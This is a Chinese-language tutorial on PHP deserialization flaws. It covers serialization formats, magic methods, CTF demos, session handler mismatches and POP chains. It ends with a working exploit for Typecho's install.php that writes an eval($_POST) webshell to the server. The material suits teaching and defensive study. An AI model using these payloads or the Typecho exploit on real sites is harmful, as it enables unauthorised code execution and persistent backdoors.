PHP反序列化总结
Posted i春秋
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PHP反序列化总结相关的知识,希望对你有一定的参考价值。
i春秋社区
相关基础
1.序列化和反序列化相关知识
1.1什么是(反)序列化:
序列化是将变量(对象)转换为可保存或传输的字符串的过程;反序列化就是在适当的时候把这个字符串再转化成原来的变量使用。
1.2php(反)序列化常见的函数:
Serialize、Unserialize、json_encode、json_decode。
1.3序列化之后的格式:
a - array:
a:<length>:{key,value pairs}
a:1:{i:1;s:1:"a";}
b - boolean:
d - double
i - integer
o - object:
O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>};O:6:"person":3:{s:4:"name";N;s:3:"age";i:19;s:3:"**";N;} //说明person对象中name属性为Null、age属性为19,**属性为Null
s - string
s:length:"value";
s:1:"a";
N - null
N;
2.php对象常见的魔幻函数
construct: 在创建对象时候初始化对象,一般用于对变量赋初值。
destruct: 和构造函数相反,当对象所在函数调用完毕后执行。
toString:当对象被当做一个字符串使用时调用。
sleep:序列化对象之前就调用此方法(其返回需要一个数组)
wakeup:反序列化恢复对象之前调用该方法
call:当调用对象中不存在的方法会自动调用该方法。
get:在调用私有属性的时候会自动执行
更多见:http://php.net/manual/zh/language.oop5.magic.php
测试:
3.php_session序列化和反序列化相关知识
3.1 php_session处理器
php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php:存储方式是,键名+竖线+经过serialize()函数序列处理的值。
php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值
设置方式:在php_ini中session.serialize_handler(PHP_INI_ALL) 设置,
也可以在代码中设置:
ini_set('session.serialize_handler', 'php');
各类存储方式示例:
代码:
<?php
ini_set('
session.serialize_handler', 'php');session_start();
$_SESSION['a'] = $_GET['a'];
var_dump($_SESSION);
?>
当我传入?a=O:4:"pass":0:{}时:
php处理器存储的为:a|s:15:"O:4:"pass":0:{}";
php_serialize处理器存储的为:a:1:{s:1:"a";s:15:"O:4:"pass":0:{}";}
php_binary处理器存储的为:(乱码了..自己测试吧)
3.2.php_ini中与php_session相关的配置知识
session.save_path = "" //设置session的存储路径
session.auto_start = boolen //指定会话模块是否在请求开始时启动一个会话,默认0(不启动)
session.serialize_handler = string //指定序列化、反序列化处理器
<!--##### 3.3.熟悉phpinfo中相关配置 -->
常见的漏洞
1 将传来的序列化unserilize,造成魔幻函数执行
demo1:
由bugku的一个题启发而写的一个缩略版的demo,原题链接:http://120.24.86.145:8006/test1/
<script language="php">
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br />";
return ("good"); } }}
$password = unserialize($_GET['password']);
echo $password;
</script>
关键点:当对象被当作字符串使用时调用__tostring()魔幻函数,所以如果我们给password传入一个序列化的对象,那么echo $password 就会调用魔幻函数。
构造payload:
<script language="php">
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br />";
return ("good"); } }}
$obj = new Flag();
$obj->file = "Flag.php";
echo serialize($obj);
</script>
生成
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最后读出flag.php
demo2:
<script language="php">
class Flag{ //flag.php
public $file;
public function __wakeup(){
if(isset($this->file)){
echo file_get_contents($this->file); } }}unserialize($_GET['password']);
</script>
这个例子是利用的反序列化恢复对象之前会调用__wakeup(),所以构造payload方法和demo1中一样。
将拿到的序列化字符传入:
http://localhost:9096/test1.php?password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
即可得到flag.php中的文件
当然还有其他魔幻函数:__construct、__destruct都行
总的来说:
①:有可控的数据被反序列化
②:有魔幻函数中敏感代码被执行。
2 php session处理器设置不当的漏洞。
起源于一道CTF
题目传送门:http://web.jarvisoj.com:32784/
题目源码:
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');session_start();
class OowoO{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{ eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}?>
第一眼看到这个题的时候很懵逼.... 没有数据可以输入的地方...然后琢磨了一下wp..... 感觉发现了新大陆...
从phpinfo中可以发现
session.serialize_handler = php_serilize
而代码中设置的
ini_set('session.serialize_handler', 'php');
从上文介绍相关处理器的时候可以知道:
PHP处理器:a为session的键名,|后面为经过serialize处理的键值
而php_serialize处理器
这其中php_serialize有一个特性,就是可以在字符串变量中储存 | 符号,然后当我们以php_serialize
格式存入|O:4:"pass":0:{}
再以php处理器处理:即变成了
["a:1:{s:1:"a";s:16:""]为键名,test对象为值。
demo3(上述过程具体实现代码):
<?php//ini_set('session.serialize_handler', 'php');session_start();$_SESSION['a'] = $_GET['a'];?>
实现步骤:
1.设置php_ini中的session.serialize_handler = php_serialize,访问http://localhost:9096/test1.php?a=|O:4:"test":0:{},即写入session。
2.将上述代码注释去掉,并给$_SESSION['a'] = $_GET['a'];加上注释,即可看到php和php_serialize处理|的漏洞。
所以这里就可以利用这个特性给网页传入一个构造的php_serialize格式的session,
然后让php解析器将|后的数据解析成"值",以达到代码执行目的。
然后我们利用这个特点写入一个session(以php_serialize格式),然后让该页面以php方式处理,从而给$mdzz赋值,获取敏感信息。
demo4:
test1.php
<?php
ini_set('
session.serialize_handler', 'php');session_start();
//$_SESSION['a'] = $_GET['a'];
var_dump($_SESSION);class Test{
function __construct(){
echo "__constrct";
}
function __destruct(){
echo "__destruct";
eval(phpinfo());
}
}
?>
本地事先存储了以php_serilize格式的session:a:1:{s:1:"a";s:16:"|O:4:"Test":0:{}
然后访问test1.php
正好符合上述题目中的eval函数中的代码执行
总的来说 :
其实这种漏洞就是session序列化及反序列化处理器设置不当造成。本质上是它们对处理“|”的差异造成。如果以php_serilize方式存入,比如我们构造出'|' 伪造的序列化值存入,但之后解析又是用的php处理器的话,那么将会反序列化伪造的数据('|’之前当作键名,'|'之后当作键值)
其次如果想要利用的话,就是找到注入点,将我们构造的session注入进去。
其实我还是有点疑问的
那么为什么php处理器处理的时候会执行session中的值呢?
猜想:与session_start或者php处理器有关
暂时还没有捣鼓出来...
如何寻找注入点将数据注入到session
上面说的那个CTF题原理已经知道了,但是并不知道从哪注入session。
就我了解的而言,有以下几种写入session的途径
1.通过配置不当造成的session可控
参考:https://bugs.php.net/bug.php?id=71101
当在php.ini中设置session.upload_progress.enabled = On的时候,PHP将能够跟踪上传单个文件的上传进度。当上传正在进行时,以及在将与session.upload_progress.name INI设置相同的名称的变量设置为POST时,上传进度将在$ _SESSION超全局中可用。
我们启用了该配置项后,POST一个和session.upload_progress.name同名变量的时候
PHP会将文件名保存在$_SESSION中
所以构造一个提交文件的表单:
<formaction =“http://web.jarvisoj.com:32784/index.php”method =“POST”enctype =“multipart/form-data”>
<inputtype=“hidden”name =“PHP_SESSION_UPLOAD_PROGRESS”value =“1”/> <input type =“file”name =“file”/>
<input type =“submit”/>
</form>
然后构造一个序列化的数据:
<?php
ini_set('
session.serialize.handler','php');session_start();
class OowoO{
public $mdzz = 'payload';}
$obj = new OowoO();
echo serialize($obj);
?>
即可使得析构函数中的eval()执行任意代码。
<!-- ###2 -->
构造注入链:pop
1.POP链原理简介:
在反序列化中,我们能控制的数据就是对象中的属性值,所以在PHP反序列化中有一种
漏洞利用方法叫"面向属性编程",即POP( Property Oriented Programming)。
在反序列化漏洞利用中,最理想的情况就是漏洞能利用的点在那几个魔幻函数中,
而实际上往往是从这几个魔幻函数开始,逐步的跟进这个函数中调用的函数,直到找到可以利用的点。
试想一下,如果上面那个CTF题目的代码执行函数eval()函数不在__destruct这类
魔幻函数中,而是在一个普通的方法中,我们就没办法直接利用它执行代码了。
这个时候就需要构造一个链,链接到我们需要执行的函数eval()。
demo5(模拟了一个简单的场景):
<?php
class OowoO
{
protected $obj;
function __destruct()
{
//$obj = new test1; 这里可以控制$obj为任意对象 $this->obj->a(); }}
class test1{
function a(){
echo "123";
}
}
class test2{ private $data;
function a(){
eval($this->data);
}
}
unserialize($_GET['a']);?>
利用:
<script language="php">
class OowoO{
protected $obj;
public function __construct(){
$this->obj = new test2();
}
}
class test2{
private$data= "phpinfo();";
}
echo urlencode(serialize(new OowoO()));
</script>
结果:
值得注意的是,反序列化可以控制类的属性,无论private还是public。
但是这里有个坑,如果类中存在protected或者private属性的时候,序列化的时候会产生空
字节,所以记得urlencode一下,payload才会生效。
demo6:
<?php
class test{
private $a="a";
protected $b="b";
public $c="c";}
echo urlencode(serialize(new test()));
?>
总的来说:如果魔幻函数中没有漏洞利用点,但他调用了其他对象(意味着实例化了该对象)中的方法A,
由于上述demo5中我们传入的反序列化数据可以实例化任意对象,所以我们可以全局寻找一个和方法A同名的方法,然后逐个查看其他同名方法A中是否含有可利用的点。
2.typecho反序列化漏洞分析:
漏洞文件为根目录下的install.php,第283行:
$config=unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
$type = explode('_', $config['adapter']);
$type = array_pop($type);
$installDb = new Typecho_Db($config['adapter'],
$config['prefix']);
$installDb->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
从cookie中将__typecho_config的值取出,然后在TypechoDb中实例化。这里就是漏洞的注入点,
下面就需要找到漏洞的利用点,接着搜寻魔幻函数 __construct、__destruct、\_wakeup。
在/var/Typecho/Db.php中Typecho_Db类,代码第114行,找到一个_construct(1)可以利用,因为$adapterName变量存在字符串拼接
如果给它反序列化传入一个对象的话,会调用 \_tostring函数(如果存在的话)。
public function __construct($adapterName, $prefix = 'typecho_'){
$this->_adapterName=$adapterName; $adapterName='Typecho_Db_Adapter_' . $adapterName;
可以发现在同文件下的第134行,实例化了$adapterName,会调用__tostring(2)
$this->_adapter = new $adapterName();
全局搜索__tostring后,在/var/Typecho/Feed.php中Typecho_Feed类可以发现__tostring(2)方法:290行:
foreach ($this->_items as $item) {
$content .= '<entry>' . self::EOL;
$content .= '<title type="html"><![CDATA[' . $item['title'] . ']]></title>' . self::EOL;
$content .= '<link rel="alternate" type="text/html" href="' . $item['link'] . '" />' . self::EOL;
$content .= '<id>' . $item['link'] . '</id>' . self::EOL; $content .= '<updated>' . $this->dateFormat($item['date']) . '</updated>' . self::EOL;
$content='<published>' . $this->dateFormat($item['date']) . '</published>' . self::EOL;
$content .= '<author>
<name>' . $item['author']->screenName . '</name>
<uri>' . $item['author']->url . '</uri>
</author>' . self::EOL;
在该段代码的倒数第三行中,如果构造$item['author']是一个对象,screenName是其私有属性,
则会调用__get(3)方法。
然后在/var/Typecho/Request.php中Typecho_Request类中 __get(3)方法:226行
public function __get($key){ return $this->get($key);}
调用了get方法:295行
ublic function get($key, $default = NULL){
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break; default:
$value = $default;
break; }
$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);}
跟进一下_applyFilter(),在该文件的159行:
private function _applyFilter($value){
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}
调用了call_user_func($filter,$value)函数,找到了可以利用的点了。
反过来分析:
回溯查看一下$value变量的来源:由Typecho_Request类中的$_params传入。
然后$filter在代码的120行有定义:
private $_filter = array();
所以可以直接对该属性赋值。
再来考虑一下如何触发__get(3)方法:
然后就可以把$_items数组所在的Typecho_Feed类,实例化传给$adapter,从而触发__tostring(2),然后\_construct(1)
自动执行,即构成了完整的一条攻击链。
总的来说,现在就很好理解这些数组的嵌套关系了。
Array( [adapter] => Typecho_Feed Object ( [_type:Typecho_Feed:private] => RSS 2.0 [_version:Typecho_Feed:private] => 1 [_charset:Typecho_Feed:private] => UTF-8 [_lang:Typecho_Feed:private] => en [_items:Typecho_Feed:private] => Array //$_itemss数组 ( [0] => Array //$item数组 ( [author] => Typecho_Request Object //$item['author']赋予一个对象值,触发__get() ( [_params:Typecho_Request:private] => Array ( [screenName] => file_put_contents('Passer6y.php', '<?php eval($_POST[1]);?>') ) [_filter:Typecho_Request:private] => Array ( [0] => assert
)
)
) ) )
[prefix] => th1s
EXP(copy from Ph0rse大佬):
<?php//
当__get方法执行时,使用assert函数调用file_put_contents函数,写入木马
class Typecho_Request{
private$_params=array('screenName'=> "file_put_contents('Passer6y.php','<?php eval($_POST[1]);?>')");
private $_filter = array('assert');}//
构造Feed类,使__get方法执行
class Typecho_Feed{ const RSS2 = "RSS 2.0"; private $_type;
private $_version;
private $_charset;
private $_lang;
private $_items = array();
public function __construct($version,
$type = self::RSS2, $charset = 'UTF-8',
$lang = 'en'){
$this->_version = $version;
$this->_type = $type;
$this->_charset = $charset;
$this->_lang = $lang; }
public function addItem(array $item){
$this->_items[] = $item; }}
$class1 = new Typecho_Feed(1);
$class2 = new Typecho_Request();
$class1->addItem(array('author' =>
$class2));$exp = array('adapter' =>
$class1, 'prefix' => 'th1s');
echo base64_encode(serialize($exp));
?>
如何防御
过滤:试想一下,当unserialize执行的时候,会调用自动__wakeup魔幻函数,
我们可以利用这点,对用户可控的数据进行严格过滤,使之不能成功控制属性值。
使用get_included_files函数查看是否有漏洞的类被包含了
尽量使用json_endcode/json_decode来取代
编辑:咕嘟嘟
责任编辑:MAD小郭
校对:小林龙马、山雾草野、小南瓜
戳阅读原文,跟作者进行深度交流吧~
以上是关于PHP反序列化总结的主要内容,如果未能解决你的问题,请参考以下文章